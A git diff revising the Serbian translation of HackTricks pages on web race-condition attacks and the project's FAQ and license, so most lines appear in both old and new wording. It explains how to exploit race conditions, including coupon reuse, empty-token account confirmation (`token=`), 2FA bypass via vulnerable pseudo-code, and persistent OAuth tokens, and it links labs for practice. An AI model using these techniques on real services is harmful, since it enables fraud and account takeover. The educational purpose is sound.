Ovo je najosnovnija vrsta race condition-a gde se **ranjivosti** javljaju na mestima koja **ograničavaju broj puta kada možete izvršiti akciju**. Kao kada se isti kod za popust koristi više puta u web prodavnici. Vrlo jednostavan primer može se naći u [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ili u [**this bug**](https://hackerone.com/reports/759247)**.**
|
||||||
|
|
||||||
Postoji mnogo varijacija ovog tipa napada, uključujući:
|
Postoji mnogo varijacija ovog tipa napada, uključujući:
|
||||||
|
|
||||||
- Iskorišćavanje gift card-a više puta
|
- Iskorišćavanje poklon kartice više puta
|
||||||
- Ocena proizvoda više puta
|
- Ocenjivanje proizvoda više puta
|
||||||
- Podizanje ili transfer novca koji premašuje stanje na računu
|
- Podizanje ili prenos novca preko stanja na računu
|
||||||
- Ponovno korišćenje jedne CAPTCHA rešenja
|
- Ponovna upotreba istog CAPTCHA rešenja
|
||||||
- Zaobilaženje anti-brute-force rate limita
|
- Zaobilaženje anti-brute-force rate limita
|
||||||
|
|
||||||
### **Skrivena podstanja**
|
### **Skrivena podstanja**
|
||||||
|
|
||||||
Eksploatisanje kompleksnih race conditions često podrazumeva iskorišćavanje kratkih prilika za interakciju sa skrivenim ili **neplaniranim mašinskim podstanjima**. Evo kako pristupiti tome:
|
Iskorišćavanje kompleksnih race condition-a često podrazumeva korišćenje kratkih mogućnosti za interakciju sa skrivenim ili **nepredviđenim mašinskim podstanjima**. Evo kako pristupiti tome:
|
||||||
|
|
||||||
1. **Identify Potential Hidden Substates**
|
1. **Identifikujte potencijalna skrivena podstanja**
|
||||||
- Počni tako što ćeš identifikovati endpoints koji menjaju ili interaguju sa kritičnim podacima, kao što su user profiles ili password reset procesi. Fokusiraj se na:
|
- Počnite tako što ćete pronaći endpoints koji menjaju ili interaguju sa kritičnim podacima, kao što su user profiles ili password reset procesi. Fokusirajte se na:
|
||||||
- **Storage**: Preferiraj endpoints koji manipulišu server-side persistent podacima u odnosu na one koji rukovode podacima client-side.
|
- **Storage**: Preferirajte endpoints koji manipulišu server-side persistent podacima umesto onih koji rukovode podacima client-side.
|
||||||
- **Action**: Traži operacije koje menjaju postojeće podatke, jer one imaju veću verovatnoću da generišu eksploatabilne uslove u poređenju sa onima koje dodaju nove podatke.
|
- **Action**: Tražite operacije koje menjaju postojeće podatke, koje su verovatnije da kreiraju exploitable uslove u poređenju sa onima koje dodaju nove podatke.
|
||||||
- **Keying**: Uspešni napadi obično uključuju operacije koje su vezane za isti identifikator, npr. username ili reset token.
|
- **Keying**: Uspešni napadi obično uključuju operacije koje koriste isti identifikator, npr. username ili reset token.
|
||||||
2. **Conduct Initial Probing**
|
2. **Sprovedite početno ispitivanje**
|
||||||
- Testiraj identifikovane endpoints sa race condition attacks, posmatrajući bilo kakva odstupanja od očekivanih rezultata. Neočekivani odgovori ili promene u ponašanju aplikacije mogu ukazivati na ranjivost.
|
- Testirajte identifikovane endpoints korišćenjem race condition napada, posmatrajući bilo kakva odstupanja od očekivanih rezultata. Neočekivani odgovori ili promene u ponašanju aplikacije mogu ukazivati na ranjivost.
|
||||||
3. **Demonstrate the Vulnerability**
|
3. **Demonstrirajte ranjivost**
|
||||||
- Suzi napad na minimalan broj zahteva potrebnih za eksploataciju ranjivosti, često dovoljno dva zahteva. Ovaj korak može zahtevati više pokušaja ili automatizaciju zbog preciznog keširanja vremena.
|
- Svedite napad na minimalan broj zahteva potrebnih za iskorišćavanje ranjivosti, često samo dva. Ovaj korak može zahtevati višestruke pokušaje ili automatizaciju zbog preciznog tajminga.
|
||||||
|
|
||||||
### Time Sensitive Attacks
|
### Vremenski osetljivi napadi
|
||||||
|
|
||||||
Preciznost u vremenu slanja zahteva može otkriti vulnerabilities, posebno kada se za sigurnosne token-e koriste predvidivi metodi kao što su timestamps. Na primer, generisanje password reset tokens bazirano na timestamps može dovesti do identičnih token-a za simultane zahteve.
|
Preciznost u tajmingu zahteva može otkriti ranjivosti, posebno kada se za sigurnosne token-e koriste predvidljivi metodi poput timestamps. Na primer, generisanje password reset tokens zasnovanih na timestamps može dozvoliti identične tokene za simultane zahteve.
|
||||||
|
|
||||||
**To Exploit:**
|
**Za iskorišćavanje:**
|
||||||
|
|
||||||
- Koristi precizno tempiranje, npr. single packet attack, da pošalješ concurrent password reset requests. Identični tokens ukazuju na ranjivost.
|
- Koristite precizan tajming, kao što je single packet attack, da pošaljete istovremene password reset zahteve. Identični tokens ukazuju na ranjivost.
|
||||||
|
|
||||||
**Example:**
|
**Primer:**
|
||||||
|
|
||||||
- Zatraži dva password reset tokens istovremeno i uporedi ih. Poklapajući tokens sugerišu manu u token generation.
|
- Zatražite dva password reset tokena istovremeno i uporedite ih. Poklapajući tokeni sugerišu grešku u generisanju tokena.
|
||||||
|
|
||||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
|
Isprobajte ovo na [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities).
|
||||||
|
|
||||||
## Studije slučaja skrivenih podstanja
|
## Studije slučaja skrivenih podstanja
|
||||||
|
|
||||||
### Pay & add an Item
|
### Plati & dodaj stavku
|
||||||
|
|
||||||
Pogledaj ovaj [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) da vidiš kako da **pay** u prodavnici i **add an extra** item koju **won't need to pay for it**.
|
Pogledajte [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) da vidite kako da **platite** u prodavnici i **dodate dodatnu** stavku za koju **nećete morati da platite**.
|
||||||
|
|
||||||
### Confirm other emails
|
### Potvrdite druge email adrese
|
||||||
|
|
||||||
Ideja je da se **verify an email address and change it to a different one at the same time** da bi se proverilo da li platforma verifikuje novu adresu koja je promenjena.
|
Ideja je da se **verifikuje email adresa i istovremeno promeni u drugu** da biste saznali da li platforma verifikuje novu adresu.
|
||||||
|
|
||||||
### Change email to 2 emails addresses Cookie based
|
### Promena email-a na 2 adrese (Cookie-based)
|
||||||
|
|
||||||
Prema [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab je bio ranjiv na takeover na ovaj način jer bi mogao **send** the **email verification token of one email to the other email**.
|
Prema [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab je bio ranjiv na takeover na ovaj način zato što bi mogao **poslati** **email verification token** jedne adrese na drugu.
|
||||||
|
|
||||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
|
Isprobajte ovo na [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint).
|
||||||
|
|
||||||
### Hidden Database states / Confirmation Bypass
|
### Skrivena stanja baze podataka / Bypass potvrde
|
||||||
|
|
||||||
Ako se koriste **2 different writes** za **add** **information** unutar **database**, postoji mali vremenski period u kome je **only the first data has been written** u bazi. Na primer, pri kreiranju user-a, **username** i **password** mogu biti **written**, a zatim se **then the token** za potvrdu novokreiranog naloga upiše. To znači da u kratkom vremenu **token to confirm an account is null**.
|
Ako se koriste **2 različita upisa** za **dodavanje** **informacija** u **database**, postoji kratki period vremena kada je **samo prvi podatak upisan** u bazu podataka. Na primer, pri kreiranju korisnika **username** i **password** mogu biti **upisani**, a **zatim token** za potvrdu novokreiranog naloga se upiše. To znači da je tokom kratkog vremena **token za potvrdu naloga null**.
|
||||||
|
|
||||||
Stoga **registracija naloga i slanje nekoliko zahteva sa praznim token-om** (`token=` or `token[]=` or any other variation) da se odmah potvrdi nalog, moglo bi omogućiti d**a potvrdite nalog** na kome ne kontrolišete email.
|
Stoga, **registracija naloga i slanje više zahteva sa praznim tokenom** (`token=` ili `token[]=` ili bilo koja druga varijacija) kako biste odmah potvrdili nalog, može omogućiti da **potvrdite nalog** gde ne kontrolišete email.
|
||||||
|
|
||||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
|
Isprobajte ovo na [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction).
|
||||||
|
|
||||||
### Bypass 2FA
|
### Zaobilaženje 2FA
|
||||||
|
|
||||||
Sledeći pseudo-code je ranjiv na race condition jer u veoma kratkom vremenu **2FA is not enforced** dok se session kreira:
|
Sledeći pseudo-kod je ranjiv na race condition jer u vrlo kratkom vremenu **2FA nije primenjen** dok se sesija kreira:
|
||||||
```python
|
```python
|
||||||
session['userid'] = user.userid
|
session['userid'] = user.userid
|
||||||
if user.mfa_enabled:
|
if user.mfa_enabled:
|
||||||
@ -355,23 +363,23 @@ session['enforce_mfa'] = True
|
|||||||
# generate and send MFA code to user
|
# generate and send MFA code to user
|
||||||
# redirect browser to MFA code entry form
|
# redirect browser to MFA code entry form
|
||||||
```
|
```
|
||||||
### OAuth2 večna perzistencija
|
### OAuth2 trajna perzistencija
|
||||||
|
|
||||||
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Ove usluge vam omogućavaju da napravite aplikaciju i autentifikujete korisnike koje je provajder registrovao. Da bi to uradio, **client** će morati da **dozvoli vašoj aplikaciji** pristup nekim od njihovih podataka unutar **OAUth provider**.
|
Postoji nekoliko [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Ove usluge omogućavaju kreiranje aplikacije i autentifikaciju korisnika koje provider registruje. Da bi se to ostvarilo, **klijent** će morati da **dozvoli vašoj aplikaciji** pristup nekim njihovim podacima unutar **OAUth provider**.\
|
||||||
Dakle, do sada je to samo uobičajeni login sa google/linkedin/github... gde vam se prikaže stranica na kojoj piše: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
|
Dakle, do ovde je u pitanju uobičajeni login sa google/linkedin/github... gde vam se prikaže stranica sa porukom: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
|
||||||
|
|
||||||
#### Race Condition in `authorization_code`
|
#### Race Condition in `authorization_code`
|
||||||
|
|
||||||
The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Zatim ta **aplikacija zloupotrebljava Race Condition u OAUth service provideru da generiše više od jednog AT/RT** (_Authentication Token/Refresh Token_) iz **`authorization_code`** za vaš nalog. U suštini, zloupotrebljava činjenicu da ste prihvatili da aplikacija pristupi vašim podacima da **kreira više naloga**. Ako potom **prestanete da dozvoljavate aplikaciji pristup vašim podacima, jedan par AT/RT će biti izbrisan, ali ostali će i dalje biti validni**.
|
Problem se pojavljuje kada ga **prihvatite** i to automatski pošalje **`authorization_code`** malicioznoj aplikaciji. Zatim ta **aplikacija zloupotrebljava Race Condition u OAUth service provider** da iz **`authorization_code`** generiše više od jednog AT/RT (_Authentication Token/Refresh Token_) za vaš nalog. U suštini, ona zloupotrebljava činjenicu da ste dozvolili aplikaciji pristup vašim podacima da **kreira više naloga**. Onda, ako **prestanete da dozvoljavate aplikaciji pristup vašim podacima**, jedan par AT/RT će biti obrisan, ali ostali će i dalje biti validni.
|
||||||
|
|
||||||
#### Race Condition in `Refresh Token`
|
#### Race Condition in `Refresh Token`
|
||||||
|
|
||||||
Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.**
|
Kada dobijete **validan RT** možete pokušati da ga **zloupotrebite da generišete više AT/RT**, i **čak i ako korisnik opozove dozvole** za malicioznu aplikaciju da pristupa njegovim podacima, **više RT će i dalje biti validno.**
|
||||||
|
|
||||||
## **RC in WebSockets**
|
## **RC u WebSockets**
|
||||||
|
|
||||||
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) možete naći PoC u Java koji šalje websocket poruke **paralelno** da bi zloupotrebio **Race Conditions i u Web Sockets**.
|
- U [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) možete naći PoC u Javi za slanje websocket poruka paralelno kako biste zloupotrebili **Race Conditions** i u Web Sockets.
|
||||||
- With Burp’s WebSocket Turbo Intruder možete koristiti **THREADED** engine da pokrenete više WS konekcija i ispaljujete payloads paralelno. Počnite od zvaničnog primera i podešavajte `config()` (broj thread-ova) za konkurentnost; ovo je često pouzdanije od batch-ovanja na jednoj konekciji kada se race-uje server‑side stanje kroz WS handlere. Pogledajte [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
|
- Sa Burp’s WebSocket Turbo Intruder možete koristiti **THREADED** engine da pokrenete više WS konekcija i šaljete payload-e paralelno. Počnite od zvaničnog primera i podesite `config()` (broj niti) za konkurentnost; ovo je često pouzdanije nego batčovanje preko jedne konekcije kada se trkate za stanje na strani servera između WS handler‑a. Pogledajte [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
|
@ -1,21 +1,21 @@
|
|||||||
# HackTricks Values & FAQ
|
# HackTricks Vrednosti i FAQ
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## HackTricks Values
|
## Vrednosti HackTricks
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Ovo su **vrednosti HackTricks projekta**:
|
> Ovo su **vrednosti HackTricks projekta**:
|
||||||
>
|
>
|
||||||
> - Omogućiti **BESPLATAN** pristup **OBRAZOVNIM hacking** resursima svima na Internetu.
|
> - Obezbediti **BESPLATAN** pristup **EDUKATIVNIM hacking** resursima celom Internetu.
|
||||||
> - Hacking je o učenju, a učenje bi trebalo da bude što besplatnije.
|
> - Hacking je o učenju, a učenje treba da bude što je moguće besplatnije.
|
||||||
> - Svrha ove knjige je da služi kao sveobuhvatan **obrazovni resurs**.
|
> - Svrha ove knjige je da služi kao sveobuhvatan **edukativni resurs**.
|
||||||
> - **ČUVATI** sjajne **hacking** tehnike koje zajednica objavljuje, dajući **ORIGINALNIM** **AUTORIMA** sve **zasluge**.
|
> - **ČUVATI** sjajne **hacking** tehnike koje zajednica objavljuje, dajući **IZVORNIM** **AUTORIMA** sve **zasluge**.
|
||||||
> - **Ne želimo zasluge drugih ljudi**, želimo samo da sačuvamo kul trikove za sve.
|
> - **Ne želimo zasluge drugih ljudi**, samo želimo da sačuvamo kul trikove za sve.
|
||||||
> - Takođe pišemo i **svoja istraživanja** u HackTricks.
|
> - Takođe pišemo **sva naša istraživanja** u HackTricks.
|
||||||
> - U nekoliko slučajeva ćemo samo napisati **u HackTricks sažetak važnih delova** tehnike i **podstaći čitaoca da poseti originalni post** za više detalja.
|
> - U nekoliko slučajeva ćemo samo napisati **u HackTricks sažetak važnih delova** tehnike i **podstaći čitaoca da poseti originalni post** za više detalja.
|
||||||
> - **ORGANIZOVATI** sve hacking tehnike u knjizi kako bi bile **LAKŠE PRISTUPAČNE**
|
> - **ORGANIZOVATI** sve **hacking** tehnike u knjizi tako da budu **PRISTUPAČNIJE**
|
||||||
> - Tim HackTricks-a je posvetio hiljade sati besplatno **samo za organizaciju sadržaja** kako bi ljudi mogli **brže da uče**
|
> - Tim HackTricks-a je posvetio hiljade sati besplatno **isključivo za organizovanje sadržaja** kako bi ljudi mogli **učiti brže**
|
||||||
|
|
||||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
@ -23,17 +23,17 @@
|
|||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
>
|
>
|
||||||
> - **Hvala puno za ove resurse, kako mogu da vam se odužim?**
|
> - **Hvala vam puno na ovim resursima, kako vam mogu zahvaliti?**
|
||||||
|
|
||||||
Možete javno zahvaliti HackTricks timu za objavljivanje svih ovih resursa u tvitu pominjući [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
Možete javno zahvaliti HackTricks timu što je sastavio sve ove resurse javnim tvitom u kojem pominjete [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||||
Ako ste posebno zahvalni možete takođe [**sponsorovati projekat ovde**](https://github.com/sponsors/carlospolop).\
|
Ako ste posebno zahvalni, možete takođe [**sponzorisati projekat ovde**](https://github.com/sponsors/carlospolop).\
|
||||||
I ne zaboravite da **stavite zvezdicu na Github projektima!** (Linkovi su dole).
|
I ne zaboravite da **stavite zvezdicu na Github projektima!** (Pogledajte linkove ispod).
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
>
|
>
|
||||||
> - **Kako mogu da doprinesem projektu?**
|
> - **Kako mogu doprineti projektu?**
|
||||||
|
|
||||||
Možete **podeliti nove savete i trikove sa zajednicom ili ispraviti greške** koje nađete u knjigama slanjem **Pull Request** na odgovarajuće Github stranice:
|
Možete **podeliti nove savete i trikove sa zajednicom ili otkloniti greške** koje nađete u knjigama slanjem **Pull Request** na odgovarajuće Github stranice:
|
||||||
|
|
||||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||||
@ -42,16 +42,16 @@ Ne zaboravite da **stavite zvezdicu na Github projektima!**
|
|||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
>
|
>
|
||||||
> - **Mogu li da kopiram deo sadržaja iz HackTricks i stavim ga na svoj blog?**
|
> - **Mogu li kopirati deo sadržaja iz HackTricks-a i objaviti ga na svom blogu?**
|
||||||
|
|
||||||
Da, možete, ali **ne zaboravite da navedete konkretan link/ove linkove** odakle je sadržaj preuzet.
|
Da, možete, ali **ne zaboravite da navedete konkretan(e) link(ove)** odakle je sadržaj preuzet.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
>
|
>
|
||||||
> - **Kako da citiram stranicu HackTricks-a?**
|
> - **Kako mogu citirati stranicu HackTricks-a?**
|
||||||
|
|
||||||
Dovoljno je da se pojavi link stranice(a) odakle ste preuzeli informaciju.\
|
Ako se pojavi link stranice/stranica odakle ste uzeli informacije, to je dovoljno.\
|
||||||
Ako vam treba bibtex možete koristiti nešto poput:
|
Ako vam treba bibtex, možete koristiti nešto poput:
|
||||||
```latex
|
```latex
|
||||||
@misc{hacktricks-bibtexing,
|
@misc{hacktricks-bibtexing,
|
||||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||||
@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
|||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
>
|
>
|
||||||
> - **Mogu li kopirati sve HackTricks na svoj blog?**
|
> - **Can I copy all HackTricks in my blog?**
|
||||||
|
>
|
||||||
**Radije ne bih**. To **neće koristiti nikome** jer je sav **sadržaj već javno dostupan** u zvaničnim HackTricks knjigama besplatno.
|
> **Radije ne.** To **neće koristiti nikome** jer je **sav sadržaj već javno dostupan** u zvaničnim HackTricks knjigama besplatno.
|
||||||
|
>
|
||||||
Ako se plašite da će nestati, jednostavno ga forkajte na Github ili preuzmite, kao što sam rekao — već je besplatno.
|
> Ako se plašiš da će nestati, jednostavno ga forkaj na Github-u ili preuzmi — kao što sam rekao, već je besplatno.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
>
|
>
|
||||||
> - **Zašto imate sponzore? Da li su HackTricks knjige za komercijalne svrhe?**
|
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
|
||||||
|
>
|
||||||
Prva **HackTricks** **vrednost** je da ponudi **BESPLATNE** edukativne resurse o hakovanju **CELOM** svetu. Tim HackTricks-a je **posvetio hiljade sati** kako bi ponudio ovaj sadržaj, ponovo, **BESPLATNO**.
|
> Prva HackTricks **vrednost** je da ponudi **BESPLATNE** obrazovne resurse o hakovanju celom svetu. Tim HackTricks-a je **posvetio hiljade sati** da ponudi ovaj sadržaj, ponovo, **BESPLATNO**.
|
||||||
|
>
|
||||||
Ako mislite da su HackTricks knjige napravljene u **komercijalne svrhe**, vi ste **U POTPUNOSTI U PRAVU**. (Note: original used emphatic wording — translated below to keep meaning.)
|
> Ako misliš da su HackTricks knjige napravljene u **komercijalne svrhe**, **POTPUNO GRIJEŠIŠ**.
|
||||||
|
>
|
||||||
Imamo sponzore zato što, čak i ako je sav sadržaj **BESPLATAN**, želimo da **omogućimo zajednici mogućnost da ceni naš rad** ukoliko to žele. Stoga nudimo ljudima opciju da doniraju HackTricks putem [**Github sponsors**](https://github.com/sponsors/carlospolop), i omogućavamo **relevantnim kompanijama iz oblasti cyberbezbednosti** da sponzorišu HackTricks i da se u knjizi pojavljuju **oglasi**, pri čemu su ti **oglasi** uvek postavljeni na mesta gde su **vidljivi**, ali **ne ometaju proces učenja** ako se neko fokusira na sadržaj.
|
> Imamo sponzore zato što, čak i ako je sav sadržaj BESPLATAN, želimo da **ponudimo zajednici mogućnost da podrži naš rad** ako to želi. Zbog toga nudimo ljudima opciju da doniraju HackTricks putem [**Github sponsors**](https://github.com/sponsors/carlospolop), a relevantne kompanije iz oblasti cybersecurity-a mogu sponzorisati HackTricks i imati neke reklame u knjizi — reklame su uvek postavljene na mestima gde su **vidljive** ali **ne ometaju proces učenja** ako se neko fokusira na sadržaj.
|
||||||
|
>
|
||||||
Nećete naći HackTricks prepun iritantnih oglasa kao na drugim blogovima koji imaju mnogo manje sadržaja od HackTricks-a, jer HackTricks nije napravljen u komercijalne svrhe.
|
> Nećete naći HackTricks prepun dosadnih reklama kao na drugim blogovima sa mnogo manje sadržaja od HackTricks-a, jer HackTricks nije napravljen u komercijalne svrhe.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
>
|
>
|
||||||
> - **Šta da uradim ako je neka HackTricks stranica zasnovana na mom blog postu, ali nije referencirana?**
|
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
|
||||||
|
>
|
||||||
**Jako nam je žao. Ovo nije trebalo da se desi**. Molimo vas da nas obavestite preko Github issues, Twitter, Discord... pošaljite link HackTricks stranice sa sadržajem i link vašeg bloga i **proverićemo to i dodaćemo referencu što je pre moguće**.
|
> **Veoma nam je žao. Ovo se ne bi trebalo dogoditi.** Molimo vas da nas obavestite putem Github issues, Twitter, Discord... pošaljite link HackTricks strane sa sadržajem i link vašeg bloga i **proverićemo i dodaćemo izvor što pre**.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
>
|
>
|
||||||
> - **Šta da uradim ako se sadržaj sa mog bloga nalazi na HackTricks i ne želim da bude tamo?**
|
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
|
||||||
|
>
|
||||||
Imajte na umu da prisustvo linka ka vašoj stranici u HackTricks:
|
> Imajte u vidu da linkovi ka vašoj strani u HackTricks:
|
||||||
|
>
|
||||||
- Poboljšava vaš **SEO**
|
> - Poboljšavaju vaš **SEO**
|
||||||
- Sadržaj se **prevodi na više od 15 jezika**, što omogućava većem broju ljudi pristup tom sadržaju
|
> - Sadržaj se **prevodi na više od 15 jezika**, što omogućava većem broju ljudi pristup tom sadržaju
|
||||||
- **HackTricks podstiče** ljude da **pogledaju vašu stranicu** (nekoliko ljudi nam je reklo da otkako je neka njihova stranica u HackTricks-u dobijaju više poseta)
|
> - **HackTricks podstiče** ljude da **posete vašu stranicu** (nekoliko ljudi nam je reklo da su od kada je neka njihova stranica u HackTricks-u, dobili više poseta)
|
||||||
|
>
|
||||||
Međutim, ako i dalje želite da sadržaj vašeg bloga bude uklonjen iz HackTricks, samo nas obavestite i mi ćemo definitivno **ukloniti svaki link ka vašem blogu**, i sav sadržaj koji je na njemu zasnovan.
|
> Međutim, ako i dalje želite da sadržaj vašeg bloga bude uklonjen iz HackTricks, samo nas obavestite i mi ćemo definitivno **ukloniti svaki link ka vašem blogu**, i sav sadržaj baziran na njemu.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
>
|
>
|
||||||
> - **Šta da uradim ako pronađem copy-paste sadržaj na HackTricks?**
|
> - **What should I do if I find copy-pasted content in HackTricks?**
|
||||||
|
>
|
||||||
|
> Uvek **dajemo originalnim autorima svu zaslugu**. Ako nađete stranicu sa copy-paste sadržajem bez reference na originalni izvor, obavestite nas i mi ćemo ili **ukloniti sadržaj**, **dodati link pre teksta**, ili **prepisati ga uz dodavanje linka**.
|
||||||
|
|
||||||
Uvek **dajemo originalnim autorima sve zasluge**. Ako pronađete stranicu sa copy-paste sadržajem bez reference na originalni izvor, javite nam i mi ćemo ili **ukloniti sadržaj**, **dodati link pre teksta**, ili **prepisati ga i dodati link**.
|
## LICENSE
|
||||||
|
|
||||||
## LICENCA
|
Copyright © Sva prava zadržana osim ako nije drugačije navedeno.
|
||||||
|
|
||||||
Copyright © Sva prava zadržana osim ako nije drugačije naznačeno.
|
#### License Summary:
|
||||||
|
|
||||||
#### Sažetak licence:
|
- Attribution: Slobodno vam je:
|
||||||
|
|
||||||
- Priznanje autorstva: Slobodno:
|
|
||||||
- Share — kopirati i redistribuirati materijal u bilo kom medijumu ili formatu.
|
- Share — kopirati i redistribuirati materijal u bilo kom medijumu ili formatu.
|
||||||
- Adapt — remiksovati, transformisati i graditi na osnovu materijala.
|
- Adapt — remiksovati, transformisati i izgrađivati na osnovu materijala.
|
||||||
|
|
||||||
#### Dodatni uslovi:
|
#### Additional Terms:
|
||||||
|
|
||||||
- Sadržaj trećih strana: Delovi ovog bloga/knjige mogu uključivati materijal iz drugih izvora, kao što su izdaci iz drugih blogova ili publikacija. Korišćenje takvog sadržaja obavlja se na osnovu principa fair use ili uz izričitu dozvolu od strane nosilaca autorskih prava. Molimo vas da se obratite originalnim izvorima za specifične informacije o licenci u vezi sa sadržajem trećih strana.
|
- Third-Party Content: Delovi ovog bloga/knjige mogu uključivati sadržaj iz drugih izvora, kao što su isječci iz drugih blogova ili publikacija. Korišćenje takvog sadržaja vrši se u skladu sa principima fair use ili uz izričitu dozvolu odgovarajućih nosilaca autorskih prava. Molimo vas da se obratite originalnim izvorima za specifične informacije o licenciranju sadržaja trećih strana.
|
||||||
- Autorstvo: Originalni sadržaj koji je autorstvo HackTricks podleže uslovima ove licence. Preporučuje se da prilikom deljenja ili prilagođavanja navedete autora ovog rada.
|
- Authorship: Originalni sadržaj koji je autorstvo HackTricks-a podleže uslovima ove licence. Preporučuje se da prilikom deljenja ili prilagođavanja ovom delu navedete autora.
|
||||||
|
|
||||||
#### Izuzeci:
|
#### Exemptions:
|
||||||
|
|
||||||
- Komercijalna upotreba: Za upite u vezi sa komercijalnom upotrebom ovog sadržaja, molimo kontaktirajte autora.
|
- Commercial Use: Za upite u vezi sa komercijalnom upotrebom ovog sadržaja, molimo kontaktirajte me.
|
||||||
|
|
||||||
Ova licenca ne daje nikakva prava na žigove ili brendiranje u vezi sa sadržajem. Svi žigovi i brendiranje prikazani u ovom blogu/knjizi su vlasništvo njihovih odgovarajućih vlasnika.
|
Ova licenca ne dodeljuje nikakva prava na zaštitne znakove ili brendiranje u vezi sa sadržajem. Svi zaštitni znaci i brendovi prikazani u ovom blogu/knjizi su vlasništvo njihovih respektivnih vlasnika.
|
||||||
|
|
||||||
**Pristupanjem ili korišćenjem HackTricks, slažete se da ćete se pridržavati uslova ove licence. Ako se ne slažete sa ovim uslovima, molimo vas, ne pristupajte ovom veb-sajtu.**
|
**Pristupanjem ili korišćenjem HackTricks, saglasni ste da poštujete uslove ove licence. Ako se ne slažete sa ovim uslovima, molimo vas, ne pristupajte ovom sajtu.**
|
||||||
|
|
||||||
## **Odricanje odgovornosti**
|
## **Disclaimer**
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Ova knjiga, 'HackTricks', namenjena je isključivo u obrazovne i informativne svrhe. Sadržaj ove knjige pruža se "kakav jeste", i autori i izdavači ne daju nikakve izjave niti garancije, izričite ili implicitne, u pogledu potpunosti, tačnosti, pouzdanosti, podobnosti ili dostupnosti informacija, proizvoda, usluga ili povezanih grafika sadržanih u ovoj knjizi. Svako oslanjanje na te informacije stoga je isključivo na sopstveni rizik.
|
> Ova knjiga, 'HackTricks', namenjena je isključivo u obrazovne i informativne svrhe. Sadržaj u knjizi dostavljen je "kakav jeste", i autori i izdavači ne daju nikakva izričita ili implicitna obećanja ili garancije o potpunosti, tačnosti, pouzdanosti, pogodnosti ili dostupnosti informacija, proizvoda, usluga ili povezanih grafika sadržanih u ovoj knjizi. Svako oslanjanje na takve informacije je striktno na sopstveni rizik.
|
||||||
>
|
>
|
||||||
> Autori i izdavači ni u kom slučaju neće biti odgovorni za bilo kakav gubitak ili štetu, uključujući, bez ograničenja, indirektne ili posledične gubitke ili štete, niti bilo kakav gubitak ili štetu nastalu usled gubitka podataka ili profita koji proizilaze iz, ili u vezi sa korišćenjem ove knjige.
|
> Autori i izdavači ni u kom slučaju neće biti odgovorni za bilo kakav gubitak ili štetu, uključujući, bez ograničenja, indirektne ili posledične gubitke ili štete, niti za bilo kakav gubitak podataka ili profita koji proizilazi iz, ili u vezi sa, korišćenjem ove knjige.
|
||||||
>
|
>
|
||||||
